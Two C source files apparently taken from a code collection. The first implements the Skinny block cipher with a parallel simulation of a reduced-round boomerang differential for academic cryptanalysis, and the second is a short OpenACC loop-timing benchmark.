/* * Date: 11 December 2015 * Contact: Thomas Peyrin - [email protected] */ /* * Simulation of boomerang analysis for Skinny * Date: March 21, 2020 * Author: Hosein Hadipour * Contact: [email protected] */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <math.h> #include <omp.h> #include <stdbool.h> // #define DEBUG 1 #define Nthreads 12 // Table that encodes the parameters of the various Skinny versions: // (block size, key size, number of rounds) //Skinny-64-64: 32 rounds //Skinny-64-128: 36 rounds //Skinny-64-192: 40 rounds //Skinny-128-128: 40 rounds //Skinny-128-256: 48 rounds //Skinny-128-384: 56 rounds int versions[6][3] = {{64, 64, 32}, {64, 128, 36}, {64, 192, 40}, {128, 128, 40}, {128, 256, 48}, {128, 384, 56}}; // Packing of data is done as follows (state[i][j] stands for row i and column j): // 0 1 2 3 // 4 5 6 7 // 8 9 10 11 //12 13 14 15 // 4-bit Sbox const unsigned char sbox_4[16] = {12, 6, 9, 0, 1, 10, 2, 11, 3, 8, 5, 13, 4, 14, 7, 15}; const unsigned char sbox_4_inv[16] = {3, 4, 6, 8, 12, 10, 1, 14, 9, 2, 5, 7, 0, 11, 13, 15}; // 8-bit Sbox const unsigned char sbox_8[256] = {0x65, 0x4c, 0x6a, 0x42, 0x4b, 0x63, 0x43, 0x6b, 0x55, 0x75, 0x5a, 0x7a, 0x53, 0x73, 0x5b, 0x7b, 0x35, 0x8c, 0x3a, 0x81, 0x89, 0x33, 0x80, 0x3b, 0x95, 0x25, 0x98, 0x2a, 0x90, 0x23, 0x99, 0x2b, 0xe5, 0xcc, 0xe8, 0xc1, 0xc9, 0xe0, 0xc0, 0xe9, 0xd5, 0xf5, 0xd8, 0xf8, 0xd0, 0xf0, 0xd9, 0xf9, 0xa5, 0x1c, 0xa8, 0x12, 0x1b, 0xa0, 0x13, 0xa9, 0x05, 0xb5, 0x0a, 0xb8, 0x03, 0xb0, 0x0b, 0xb9, 0x32, 0x88, 0x3c, 0x85, 0x8d, 0x34, 0x84, 0x3d, 0x91, 0x22, 0x9c, 0x2c, 0x94, 0x24, 0x9d, 0x2d, 0x62, 0x4a, 0x6c, 0x45, 0x4d, 0x64, 0x44, 0x6d, 0x52, 0x72, 0x5c, 0x7c, 0x54, 0x74, 0x5d, 0x7d, 0xa1, 0x1a, 0xac, 0x15, 0x1d, 0xa4, 0x14, 0xad, 0x02, 0xb1, 0x0c, 0xbc, 0x04, 0xb4, 0x0d, 0xbd, 0xe1, 0xc8, 0xec, 0xc5, 0xcd, 0xe4, 0xc4, 0xed, 0xd1, 0xf1, 0xdc, 0xfc, 0xd4, 0xf4, 0xdd, 0xfd, 0x36, 0x8e, 0x38, 0x82, 0x8b, 0x30, 0x83, 0x39, 0x96, 0x26, 0x9a, 0x28, 0x93, 0x20, 0x9b, 0x29, 0x66, 0x4e, 0x68, 0x41, 0x49, 0x60, 0x40, 0x69, 0x56, 0x76, 0x58, 0x78, 0x50, 0x70, 0x59, 0x79, 0xa6, 0x1e, 0xaa, 0x11, 0x19, 0xa3, 0x10, 0xab, 0x06, 0xb6, 0x08, 0xba, 0x00, 0xb3, 0x09, 0xbb, 0xe6, 0xce, 0xea, 0xc2, 0xcb, 0xe3, 0xc3, 0xeb, 0xd6, 0xf6, 0xda, 0xfa, 0xd3, 0xf3, 0xdb, 0xfb, 0x31, 0x8a, 0x3e, 0x86, 0x8f, 0x37, 0x87, 0x3f, 0x92, 0x21, 0x9e, 0x2e, 0x97, 0x27, 0x9f, 0x2f, 0x61, 0x48, 0x6e, 0x46, 0x4f, 0x67, 0x47, 0x6f, 0x51, 0x71, 0x5e, 0x7e, 0x57, 0x77, 0x5f, 0x7f, 0xa2, 0x18, 0xae, 0x16, 0x1f, 0xa7, 0x17, 0xaf, 0x01, 0xb2, 0x0e, 0xbe, 0x07, 0xb7, 0x0f, 0xbf, 0xe2, 0xca, 0xee, 0xc6, 0xcf, 0xe7, 0xc7, 0xef, 0xd2, 0xf2, 0xde, 0xfe, 0xd7, 0xf7, 0xdf, 0xff}; const unsigned char sbox_8_inv[256] = {0xac, 0xe8, 0x68, 0x3c, 0x6c, 0x38, 0xa8, 0xec, 0xaa, 0xae, 0x3a, 0x3e, 0x6a, 0x6e, 0xea, 0xee, 0xa6, 0xa3, 0x33, 0x36, 0x66, 0x63, 0xe3, 0xe6, 0xe1, 0xa4, 0x61, 0x34, 0x31, 0x64, 0xa1, 0xe4, 0x8d, 0xc9, 0x49, 0x1d, 0x4d, 0x19, 0x89, 0xcd, 0x8b, 0x8f, 0x1b, 0x1f, 0x4b, 0x4f, 0xcb, 0xcf, 0x85, 0xc0, 0x40, 0x15, 0x45, 0x10, 0x80, 0xc5, 0x82, 0x87, 0x12, 0x17, 0x42, 0x47, 0xc2, 0xc7, 0x96, 0x93, 0x03, 0x06, 0x56, 0x53, 0xd3, 0xd6, 0xd1, 0x94, 0x51, 0x04, 0x01, 0x54, 0x91, 0xd4, 0x9c, 0xd8, 0x58, 0x0c, 0x5c, 0x08, 0x98, 0xdc, 0x9a, 0x9e, 0x0a, 0x0e, 0x5a, 0x5e, 0xda, 0xde, 0x95, 0xd0, 0x50, 0x05, 0x55, 0x00, 0x90, 0xd5, 0x92, 0x97, 0x02, 0x07, 0x52, 0x57, 0xd2, 0xd7, 0x9d, 0xd9, 0x59, 0x0d, 0x5d, 0x09, 0x99, 0xdd, 0x9b, 0x9f, 0x0b, 0x0f, 0x5b, 0x5f, 0xdb, 0xdf, 0x16, 0x13, 0x83, 0x86, 0x46, 0x43, 0xc3, 0xc6, 0x41, 0x14, 0xc1, 0x84, 0x11, 0x44, 0x81, 0xc4, 0x1c, 0x48, 0xc8, 0x8c, 0x4c, 0x18, 0x88, 0xcc, 0x1a, 0x1e, 0x8a, 0x8e, 0x4a, 0x4e, 0xca, 0xce, 0x35, 0x60, 0xe0, 0xa5, 0x65, 0x30, 0xa0, 0xe5, 0x32, 0x37, 0xa2, 0xa7, 0x62, 0x67, 0xe2, 0xe7, 0x3d, 0x69, 0xe9, 0xad, 0x6d, 0x39, 0xa9, 0xed, 0x3b, 0x3f, 0xab, 0xaf, 0x6b, 0x6f, 0xeb, 0xef, 0x26, 0x23, 0xb3, 0xb6, 0x76, 0x73, 0xf3, 0xf6, 0x71, 0x24, 0xf1, 0xb4, 0x21, 0x74, 0xb1, 0xf4, 0x2c, 0x78, 0xf8, 0xbc, 0x7c, 0x28, 0xb8, 0xfc, 0x2a, 0x2e, 0xba, 0xbe, 0x7a, 0x7e, 0xfa, 0xfe, 0x25, 0x70, 0xf0, 0xb5, 0x75, 0x20, 0xb0, 0xf5, 0x22, 0x27, 0xb2, 0xb7, 0x72, 0x77, 0xf2, 0xf7, 0x2d, 0x79, 0xf9, 0xbd, 0x7d, 0x29, 0xb9, 0xfd, 0x2b, 0x2f, 0xbb, 0xbf, 0x7b, 0x7f, 0xfb, 0xff}; // ShiftAndSwitchRows permutation const unsigned char P[16] = {0, 1, 2, 3, 7, 4, 5, 6, 10, 11, 8, 9, 13, 14, 15, 12}; const unsigned char P_inv[16] = {0, 1, 2, 3, 5, 6, 7, 4, 10, 11, 8, 9, 15, 12, 13, 14}; // Tweakey permutation const unsigned char TWEAKEY_P[16] = {9, 15, 8, 13, 10, 14, 12, 11, 0, 1, 2, 3, 4, 5, 6, 7}; const unsigned char TWEAKEY_P_inv[16] = {8, 9, 10, 11, 12, 13, 14, 15, 2, 0, 4, 7, 6, 3, 5, 1}; // round constants const unsigned char RC[62] = { 0x01, 0x03, 0x07, 0x0F, 0x1F, 0x3E, 0x3D, 0x3B, 0x37, 0x2F, 0x1E, 0x3C, 0x39, 0x33, 0x27, 0x0E, 0x1D, 0x3A, 0x35, 0x2B, 0x16, 0x2C, 0x18, 0x30, 0x21, 0x02, 0x05, 0x0B, 0x17, 0x2E, 0x1C, 0x38, 0x31, 0x23, 0x06, 0x0D, 0x1B, 0x36, 0x2D, 0x1A, 0x34, 0x29, 0x12, 0x24, 0x08, 0x11, 0x22, 0x04, 0x09, 0x13, 0x26, 0x0c, 0x19, 0x32, 0x25, 0x0a, 0x15, 0x2a, 0x14, 0x28, 0x10, 0x20}; FILE *fic; void init_prng(int offset) { //int initial_seed = 0x5EC7F2B0; //int initial_seed = 0x30051991; My birthday! unsigned int initial_seed = 10*time(NULL) + 11*offset; srand(initial_seed); // Initialization, should only be called once. int r = rand(); printf("[+] PRNG initialized to 0x%08X\n", initial_seed); } void display_matrix(unsigned char state[4][4], int ver) { int i; unsigned char input[16]; if (versions[ver][0] == 64) { for (i = 0; i < 8; i++) input[i] = ((state[(2 * i) >> 2][(2 * i) & 0x3] & 0xF) << 4) | (state[(2 * i + 1) >> 2][(2 * i + 1) & 0x3] & 0xF); for (i = 0; i < 8; i++) fprintf(fic, "%02x", input[i]); } else if (versions[ver][0] == 128) { for (i = 0; i < 16; i++) input[i] = state[i >> 2][i & 0x3] & 0xFF; for (i = 0; i < 16; i++) fprintf(fic, "%02x", input[i]); } } void display_cipher_state(unsigned char state[4][4], unsigned char keyCells[3][4][4], int ver) { int k; fprintf(fic, "S = "); display_matrix(state, ver); for (k = 0; k < (int)(versions[ver][1] / versions[ver][0]); k++) { fprintf(fic, " - TK%i = ", k + 1); display_matrix(keyCells[k], ver); } } // Extract and apply the subtweakey to the internal state (must be the two top rows XORed together), then update the tweakey state void AddKey(unsigned char state[4][4], unsigned char keyCells[3][4][4], int ver) { int i, j, k; unsigned char pos; unsigned char keyCells_tmp[3][4][4]; // apply the subtweakey to the internal state for (i = 0; i <= 1; i++) { for (j = 0; j < 4; j++) { state[i][j] ^= keyCells[0][i][j]; if (2 * versions[ver][0] == versions[ver][1]) state[i][j] ^= keyCells[1][i][j]; else if (3 * versions[ver][0] == versions[ver][1]) state[i][j] ^= keyCells[1][i][j] ^ keyCells[2][i][j]; } } // update the subtweakey states with the permutation for (k = 0; k < (int)(versions[ver][1] / versions[ver][0]); k++) { for (i = 0; i < 4; i++) { for (j = 0; j < 4; j++) { //application of the TWEAKEY permutation pos = TWEAKEY_P[j + 4 * i]; keyCells_tmp[k][i][j] = keyCells[k][pos >> 2][pos & 0x3]; } } } // update the subtweakey states with the LFSRs for (k = 0; k < (int)(versions[ver][1] / versions[ver][0]); k++) { for (i = 0; i <= 1; i++) { for (j = 0; j < 4; j++) { //application of LFSRs for TK updates if (k == 1) { if (versions[ver][0] == 64) keyCells_tmp[k][i][j] = ((keyCells_tmp[k][i][j] << 1) & 0xE) ^ ((keyCells_tmp[k][i][j] >> 3) & 0x1) ^ ((keyCells_tmp[k][i][j] >> 2) & 0x1); else keyCells_tmp[k][i][j] = ((keyCells_tmp[k][i][j] << 1) & 0xFE) ^ ((keyCells_tmp[k][i][j] >> 7) & 0x01) ^ ((keyCells_tmp[k][i][j] >> 5) & 0x01); } else if (k == 2) { if (versions[ver][0] == 64) keyCells_tmp[k][i][j] = ((keyCells_tmp[k][i][j] >> 1) & 0x7) ^ ((keyCells_tmp[k][i][j]) & 0x8) ^ ((keyCells_tmp[k][i][j] << 3) & 0x8); else keyCells_tmp[k][i][j] = ((keyCells_tmp[k][i][j] >> 1) & 0x7F) ^ ((keyCells_tmp[k][i][j] << 7) & 0x80) ^ ((keyCells_tmp[k][i][j] << 1) & 0x80); } } } } for (k = 0; k < (int)(versions[ver][1] / versions[ver][0]); k++) { for (i = 0; i < 4; i++) { for (j = 0; j < 4; j++) { keyCells[k][i][j] = keyCells_tmp[k][i][j]; } } } } // Extract and apply the subtweakey to the internal state (must be the two top rows XORed together), then update the tweakey state (inverse function} void AddKey_inv(unsigned char state[4][4], unsigned char keyCells[3][4][4], int ver) { int i, j, k; unsigned char pos; unsigned char keyCells_tmp[3][4][4]; // update the subtweakey states with the permutation for (k = 0; k < (int)(versions[ver][1] / versions[ver][0]); k++) { for (i = 0; i < 4; i++) { for (j = 0; j < 4; j++) { //application of the inverse TWEAKEY permutation pos = TWEAKEY_P_inv[j + 4 * i]; keyCells_tmp[k][i][j] = keyCells[k][pos >> 2][pos & 0x3]; } } } // update the subtweakey states with the LFSRs for (k = 0; k < (int)(versions[ver][1] / versions[ver][0]); k++) { for (i = 2; i <= 3; i++) { for (j = 0; j < 4; j++) { //application of inverse LFSRs for TK updates if (k == 1) { if (versions[ver][0] == 64) keyCells_tmp[k][i][j] = ((keyCells_tmp[k][i][j] >> 1) & 0x7) ^ ((keyCells_tmp[k][i][j] << 3) & 0x8) ^ ((keyCells_tmp[k][i][j]) & 0x8); else keyCells_tmp[k][i][j] = ((keyCells_tmp[k][i][j] >> 1) & 0x7F) ^ ((keyCells_tmp[k][i][j] << 7) & 0x80) ^ ((keyCells_tmp[k][i][j] << 1) & 0x80); } else if (k == 2) { if (versions[ver][0] == 64) keyCells_tmp[k][i][j] = ((keyCells_tmp[k][i][j] << 1) & 0xE) ^ ((keyCells_tmp[k][i][j] >> 3) & 0x1) ^ ((keyCells_tmp[k][i][j] >> 2) & 0x1); else keyCells_tmp[k][i][j] = ((keyCells_tmp[k][i][j] << 1) & 0xFE) ^ ((keyCells_tmp[k][i][j] >> 7) & 0x01) ^ ((keyCells_tmp[k][i][j] >> 5) & 0x01); } } } } for (k = 0; k < (int)(versions[ver][1] / versions[ver][0]); k++) { for (i = 0; i < 4; i++) { for (j = 0; j < 4; j++) { keyCells[k][i][j] = keyCells_tmp[k][i][j]; } } } // apply the subtweakey to the internal state for (i = 0; i <= 1; i++) { for (j = 0; j < 4; j++) { state[i][j] ^= keyCells[0][i][j]; if (2 * versions[ver][0] == versions[ver][1]) state[i][j] ^= keyCells[1][i][j]; else if (3 * versions[ver][0] == versions[ver][1]) state[i][j] ^= keyCells[1][i][j] ^ keyCells[2][i][j]; } } } // Apply the constants: using a LFSR counter on 6 bits, we XOR the 6 bits to the first 6 bits of the internal state void AddConstants(unsigned char state[4][4], int r) { state[0][0] ^= (RC[r] & 0xf); state[1][0] ^= ((RC[r] >> 4) & 0x3); state[2][0] ^= 0x2; } // apply the 4-bit Sbox void SubCell4(unsigned char state[4][4]) { int i, j; for (i = 0; i < 4; i++) for (j = 0; j < 4; j++) state[i][j] = sbox_4[state[i][j]]; } // apply the 4-bit inverse Sbox void SubCell4_inv(unsigned char state[4][4]) { int i, j; for (i = 0; i < 4; i++) for (j = 0; j < 4; j++) state[i][j] = sbox_4_inv[state[i][j]]; } // apply the 8-bit Sbox void SubCell8(unsigned char state[4][4]) { int i, j; for (i = 0; i < 4; i++) for (j = 0; j < 4; j++) state[i][j] = sbox_8[state[i][j]]; } // apply the 8-bit inverse Sbox void SubCell8_inv(unsigned char state[4][4]) { int i, j; for (i = 0; i < 4; i++) for (j = 0; j < 4; j++) state[i][j] = sbox_8_inv[state[i][j]]; } // Apply the ShiftRows function void ShiftRows(unsigned char state[4][4]) { int i, j, pos; unsigned char state_tmp[4][4]; for (i = 0; i < 4; i++) { for (j = 0; j < 4; j++) { //application of the ShiftRows permutation pos = P[j + 4 * i]; state_tmp[i][j] = state[pos >> 2][pos & 0x3]; } } for (i = 0; i < 4; i++) { for (j = 0; j < 4; j++) { state[i][j] = state_tmp[i][j]; } } } // Apply the inverse ShiftRows function void ShiftRows_inv(unsigned char state[4][4]) { int i, j, pos; unsigned char state_tmp[4][4]; for (i = 0; i < 4; i++) { for (j = 0; j < 4; j++) { //application of the inverse ShiftRows permutation pos = P_inv[j + 4 * i]; state_tmp[i][j] = state[pos >> 2][pos & 0x3]; } } for (i = 0; i < 4; i++) { for (j = 0; j < 4; j++) { state[i][j] = state_tmp[i][j]; } } } // Apply the linear diffusion matrix //M = //1 0 1 1 //1 0 0 0 //0 1 1 0 //1 0 1 0 void MixColumn(unsigned char state[4][4]) { int j; unsigned char temp; for (j = 0; j < 4; j++) { state[1][j] ^= state[2][j]; state[2][j] ^= state[0][j]; state[3][j] ^= state[2][j]; temp = state[3][j]; state[3][j] = state[2][j]; state[2][j] = state[1][j]; state[1][j] = state[0][j]; state[0][j] = temp; } } // Apply the inverse linear diffusion matrix void MixColumn_inv(unsigned char state[4][4]) { int j; unsigned char temp; for (j = 0; j < 4; j++) { temp = state[3][j]; state[3][j] = state[0][j]; state[0][j] = state[1][j]; state[1][j] = state[2][j]; state[2][j] = temp; state[3][j] ^= state[2][j]; state[2][j] ^= state[0][j]; state[1][j] ^= state[2][j]; } } // decryption function of Skinny void dec(unsigned char *input, const unsigned char *userkey, int ver, int r) { unsigned char state[4][4]; unsigned char dummy[4][4] = {{0}}; unsigned char keyCells[3][4][4]; int i; memset(keyCells, 0, 48); for (i = 0; i < 16; i++) { if (versions[ver][0] == 64) { if (i & 1) { state[i >> 2][i & 0x3] = input[i >> 1] & 0xF; keyCells[0][i >> 2][i & 0x3] = userkey[i >> 1] & 0xF; if (versions[ver][1] >= 128) keyCells[1][i >> 2][i & 0x3] = userkey[(i + 16) >> 1] & 0xF; if (versions[ver][1] >= 192) keyCells[2][i >> 2][i & 0x3] = userkey[(i + 32) >> 1] & 0xF; } else { state[i >> 2][i & 0x3] = (input[i >> 1] >> 4) & 0xF; keyCells[0][i >> 2][i & 0x3] = (userkey[i >> 1] >> 4) & 0xF; if (versions[ver][1] >= 128) keyCells[1][i >> 2][i & 0x3] = (userkey[(i + 16) >> 1] >> 4) & 0xF; if (versions[ver][1] >= 192) keyCells[2][i >> 2][i & 0x3] = (userkey[(i + 32) >> 1] >> 4) & 0xF; } } else if (versions[ver][0] == 128) { state[i >> 2][i & 0x3] = input[i] & 0xFF; keyCells[0][i >> 2][i & 0x3] = userkey[i] & 0xFF; if (versions[ver][1] >= 256) keyCells[1][i >> 2][i & 0x3] = userkey[i + 16] & 0xFF; if (versions[ver][1] >= 384) keyCells[2][i >> 2][i & 0x3] = userkey[i + 32] & 0xFF; } } for (i = r - 1; i >= 0; i--) { AddKey(dummy, keyCells, ver); } #ifdef DEBUG fprintf(fic, "DEC - initial state: "); display_cipher_state(state, keyCells, ver); fprintf(fic, "\n"); #endif for (i = r - 1; i >= 0; i--) { MixColumn_inv(state); #ifdef DEBUG fprintf(fic, "DEC - round %.2i - after MixColumn_inv: ", i); display_cipher_state(state, keyCells, ver); fprintf(fic, "\n"); #endif ShiftRows_inv(state); #ifdef DEBUG fprintf(fic, "DEC - round %.2i - after ShiftRows_inv: ", i); display_cipher_state(state, keyCells, ver); fprintf(fic, "\n"); #endif AddKey_inv(state, keyCells, ver); #ifdef DEBUG fprintf(fic, "DEC - round %.2i - after AddKey_inv: ", i); display_cipher_state(state, keyCells, ver); fprintf(fic, "\n"); #endif AddConstants(state, i); #ifdef DEBUG fprintf(fic, "DEC - round %.2i - after AddConstants_inv: ", i); display_cipher_state(state, keyCells, ver); fprintf(fic, "\n"); #endif if (versions[ver][0] == 64) SubCell4_inv(state); else SubCell8_inv(state); #ifdef DEBUG fprintf(fic, "DEC - round %.2i - after SubCell_inv: ", i); display_cipher_state(state, keyCells, ver); fprintf(fic, "\n"); #endif } #ifdef DEBUG fprintf(fic, "DEC - final state: "); display_cipher_state(state, keyCells, ver); fprintf(fic, "\n"); #endif if (versions[ver][0] == 64) { for (i = 0; i < 8; i++) input[i] = ((state[(2 * i) >> 2][(2 * i) & 0x3] & 0xF) << 4) | (state[(2 * i + 1) >> 2][(2 * i + 1) & 0x3] & 0xF); } else if (versions[ver][0] == 128) { for (i = 0; i < 16; i++) input[i] = state[i >> 2][i & 0x3] & 0xFF; } } // encryption function of Skinny void enc(unsigned char *input, const unsigned char *userkey, int ver, int r) { unsigned char state[4][4]; unsigned char keyCells[3][4][4]; int i; memset(keyCells, 0, 48); for (i = 0; i < 16; i++) { if (versions[ver][0] == 64) { if (i & 1) { state[i >> 2][i & 0x3] = input[i >> 1] & 0xF; keyCells[0][i >> 2][i & 0x3] = userkey[i >> 1] & 0xF; if (versions[ver][1] >= 128) keyCells[1][i >> 2][i & 0x3] = userkey[(i + 16) >> 1] & 0xF; if (versions[ver][1] >= 192) keyCells[2][i >> 2][i & 0x3] = userkey[(i + 32) >> 1] & 0xF; } else { state[i >> 2][i & 0x3] = (input[i >> 1] >> 4) & 0xF; keyCells[0][i >> 2][i & 0x3] = (userkey[i >> 1] >> 4) & 0xF; if (versions[ver][1] >= 128) keyCells[1][i >> 2][i & 0x3] = (userkey[(i + 16) >> 1] >> 4) & 0xF; if (versions[ver][1] >= 192) keyCells[2][i >> 2][i & 0x3] = (userkey[(i + 32) >> 1] >> 4) & 0xF; } } else if (versions[ver][0] == 128) { state[i >> 2][i & 0x3] = input[i] & 0xFF; keyCells[0][i >> 2][i & 0x3] = userkey[i] & 0xFF; if (versions[ver][1] >= 256) keyCells[1][i >> 2][i & 0x3] = userkey[i + 16] & 0xFF; if (versions[ver][1] >= 384) keyCells[2][i >> 2][i & 0x3] = userkey[i + 32] & 0xFF; } } #ifdef DEBUG fprintf(fic, "ENC - initial state: "); display_cipher_state(state, keyCells, ver); fprintf(fic, "\n"); #endif for (i = 0; i < r; i++) { if (versions[ver][0] == 64) SubCell4(state); else SubCell8(state); #ifdef DEBUG fprintf(fic, "ENC - round %.2i - after SubCell: ", i); display_cipher_state(state, keyCells, ver); fprintf(fic, "\n"); #endif AddConstants(state, i); #ifdef DEBUG fprintf(fic, "ENC - round %.2i - after AddConstants: ", i); display_cipher_state(state, keyCells, ver); fprintf(fic, "\n"); #endif AddKey(state, keyCells, ver); #ifdef DEBUG fprintf(fic, "ENC - round %.2i - after AddKey: ", i); display_cipher_state(state, keyCells, ver); fprintf(fic, "\n"); #endif ShiftRows(state); #ifdef DEBUG fprintf(fic, "ENC - round %.2i - after ShiftRows: ", i); display_cipher_state(state, keyCells, ver); fprintf(fic, "\n"); #endif MixColumn(state); #ifdef DEBUG fprintf(fic, "ENC - round %.2i - after MixColumn: ", i); display_cipher_state(state, keyCells, ver); fprintf(fic, "\n"); #endif } //The last subtweakey should not be added #ifdef DEBUG fprintf(fic, "ENC - final state: "); display_cipher_state(state, keyCells, ver); fprintf(fic, "\n"); #endif if (versions[ver][0] == 64) { for (i = 0; i < 8; i++) input[i] = ((state[(2 * i) >> 2][(2 * i) & 0x3] & 0xF) << 4) | (state[(2 * i + 1) >> 2][(2 * i + 1) & 0x3] & 0xF); } else if (versions[ver][0] == 128) { for (i = 0; i < 16; i++) input[i] = state[i >> 2][i & 0x3] & 0xFF; } } // generate test vectors for all the versions of Skinny void TestVectors(int ver) { unsigned char p[16]; unsigned char c[16]; unsigned char k[48]; int n; for (n = 1; n < 10; n++) { int i; for (i = 0; i < (versions[ver][0] >> 3); i++) c[i] = p[i] = rand() & 0xff; for (i = 0; i < (versions[ver][0] >> 3); i++) printf("%02x", p[i]); printf("\n"); for (i = 0; i < (versions[ver][1] >> 3); i++) k[i] = rand() & 0xff; fprintf(fic, "TK = "); for (i = 0; i < (versions[ver][1] >> 3); i++) fprintf(fic, "%02x", k[i]); fprintf(fic, "\n"); fprintf(fic, "P = "); for (i = 0; i < (versions[ver][0] >> 3); i++) fprintf(fic, "%02x", p[i]); fprintf(fic, "\n"); enc(c, k, ver, 10); fprintf(fic, "C = "); for (i = 0; i < (versions[ver][0] >> 3); i++) fprintf(fic, "%02x", c[i]); fprintf(fic, "\n"); dec(c, k, ver, 10); fprintf(fic, "P' = "); for (i = 0; i < (versions[ver][0] >> 3); i++) fprintf(fic, "%02x", c[i]); fprintf(fic, "\n\n"); } } int boomerang(int r, int ver, int N3, unsigned char *dp, unsigned char *dc, unsigned char *dk1, unsigned char *dk2) { int i; unsigned char p1[16], p2[16]; unsigned char c3[16], c4[16]; unsigned char k1[48], k2[48], k3[48], k4[48]; // randomly choose k1 for (i = 0; i < (versions[ver][1] >> 3); i++) k1[i] = rand() & 0xff; // derive k2 for (i = 0; i < (versions[ver][1] >> 3); i++) k2[i] = k1[i] ^ dk1[i]; // derive k3 for (i = 0; i < (versions[ver][1] >> 3); i++) k3[i] = k1[i] ^ dk2[i]; // derive k4 for (i = 0; i < (versions[ver][1] >> 3); i++) k4[i] = k2[i] ^ dk2[i]; int num = 0; for (int t = 0; t < N3; t++) { // randomly choose p1 for (i = 0; i < (versions[ver][0] >> 3); i++) p1[i] = (rand() ^ c3[i]) & 0xff; // derive p2 for (i = 0; i < (versions[ver][0] >> 3); i++) p2[i] = p1[i] ^ dp[i]; enc(p1, k1, ver, r); enc(p2, k2, ver, r); // derive c3 for (i = 0; i < (versions[ver][0] >> 3); i++) c3[i] = p1[i] ^ dc[i]; // derive c4 for (i = 0; i < (versions[ver][0] >> 3); i++) c4[i] = p2[i] ^ dc[i]; dec(c3, k3, ver, r); dec(c4, k4, ver, r); bool flag = 1; for (i = 0; i < (versions[ver][0] >> 3); i++) if ((c3[i] ^ c4[i]) != dp[i]) flag = 0; if (flag) { num++; } } return num; } double send_boomerangs(int R, int ver, int N1, int N2, int N3, unsigned char *dp, unsigned char *dc, unsigned char *dk1, unsigned char *dk2) { // Parallel execution int NUM[N1]; int counter; printf("#Rounds: %d rounds\n", R); printf("#Total Queries = (#Parallel threads) * (#Bunches per thread) * (#Queries per bunch) = %d * %d * %d = 2^(%f)\n", N1, N2, N3, log(N1 * N2 * N3) / log(2)); clock_t clock_timer; double wall_timer; clock_timer = clock(); wall_timer = omp_get_wtime(); omp_set_num_threads(N1); #pragma omp parallel for for (counter = 0; counter < N1; counter++) { int num = 0; int ID = omp_get_thread_num(); init_prng(ID); for (int j = 0; j < N2; j++) { num += boomerang(R, ver, N3, dp, dc, dk1, dk2); } NUM[ID] = num; } printf("%s: %0.4f\n", "time on clock", (double)(clock() - clock_timer) / CLOCKS_PER_SEC); printf("%s: %0.4f\n", "time on wall", omp_get_wtime() - wall_timer); double sum = 0; double sum_temp = 1; for (int i = 0; i < N1; i++) sum += NUM[i]; printf("sum = %f\n", sum); sum_temp = (double)(N1 * N2 * N3) / sum; printf("2^(-%f)\n\n", log(sum_temp) / log(2)); printf("##########################\n"); return sum; } void convert_hexstr_to_statearray(int ver, char hex_str[], unsigned char dx[16]) { for (int i = 0; i < (versions[ver][0] >> 3); i++) { char hex[2]; hex[0] = hex_str[2 * i]; hex[1] = hex_str[2 * i + 1]; dx[i] = (unsigned char)(strtol(hex, NULL, 16) & 0xff); } } void convert_hexstr_to_tweakarray(int ver, char hex_str[], unsigned char dt[48]) { for (int i = 0; i < (versions[ver][1] >> 3); i++) { char hex[2]; hex[0] = hex_str[2 * i]; hex[1] = hex_str[2 * i + 1]; dt[i] = (unsigned char)(strtol(hex, NULL, 16) & 0xff); } } int main() { // srand((unsigned)time(NULL)); // Initialization, should only be called once. int r = rand(); // init_prng(1); // //test all versions of Skinny // for (i = 0; i < (sizeof(versions) / sizeof(*versions)); i++) // { // sprintf(name, "test_vectors_%i_%i.txt", versions[i][0], versions[i][1]); // fic = fopen(name, "w"); // fprintf(fic, "\n\nSkinny-%i/%i: \n", versions[i][0], versions[i][1]); // TestVectors(i); // fclose(fic); // printf("Generating test vectors for Skinny-%i/%i - saved in file test_vectors_%i_%i.txt \n", versions[i][0], versions[i][1], versions[i][0], versions[i][1]); // } unsigned char dp[16]; unsigned char dc[16]; unsigned char dk1[48]; unsigned char dk2[48]; // ####################################################################################################### // ####################################################################################################### // ############################## User must change only the following lines ############################## int n = 1000; // Number of independet experiments int R = 6; // Number of rounds int ver = 4; // Determine the version: // [0 = Skinny-64-64] // [1 = Skinny-64-128] // [2 = Skinny-64-192] // [3 = Skinny-128-128] // [4 = Skinny-128-256] // [5 = Skinny-128-384] char dp_str[] = "00000000000000000006000000000000"; char dc_str[] = "00000000000000000000000000000000"; char dk1_str[] = "0000000000000000000000000200000000000000000000000000000004000000"; char dk2_str[] = "000000000000000000000000000000f80000000000000000000000000000007f"; // ####################################################################################################### // ####################################################################################################### convert_hexstr_to_statearray(ver, dp_str, dp); convert_hexstr_to_statearray(ver, dc_str, dc); convert_hexstr_to_tweakarray(ver, dk1_str, dk1); convert_hexstr_to_tweakarray(ver, dk2_str, dk2); //########################## Number of queries ######################### int N1 = Nthreads; // Number of parallel threads : N1 int deg1 = 12; int deg2 = 12; int N2 = 1 << deg1; // Number of bunches per thread: N2 = 2^(deg1) int N3 = 1 << deg2; // Number of queries per bunch: N3 = 2^(deg2) //################### Number of total queries : N1*N2*N3 ############### double sum = 0; for (int i = 0; i < n; i++) { sum += send_boomerangs(R, ver, N1, N2, N3, dp, dc, dk1, dk2); } printf("\nAverage = 2^(-%0.4f)\n", (log(n) + log(N1) + log(N2) + log(N3) - log(sum))/log(2)); // sum = (double)(n * N1 * N2 * N3) / sum; // printf("\nAverage = 2^(-%0.2f)\n", log(sum) / log(2)); return 0; }

the_stack_data/165768549.c

#include <stdio.h> #include <stdlib.h> #include <omp.h> #define SIZE 1048576 int main() { double *A = (double *)malloc(sizeof(double) * SIZE); double t_start, t_end; #pragma acc data copyin(A[0:SIZE]) { t_start = omp_get_wtime(); #pragma acc parallel loop num_gangs(NUM_GANGS), vector_length(VECTOR_LENGTH) for (int i = 0; i < SIZE; i++) { A[i] = i * i; } t_end = omp_get_wtime(); } printf("time=%f\n", t_end - t_start); /* Nonzero exit code */ return 1; }

the_stack_data/25960.c

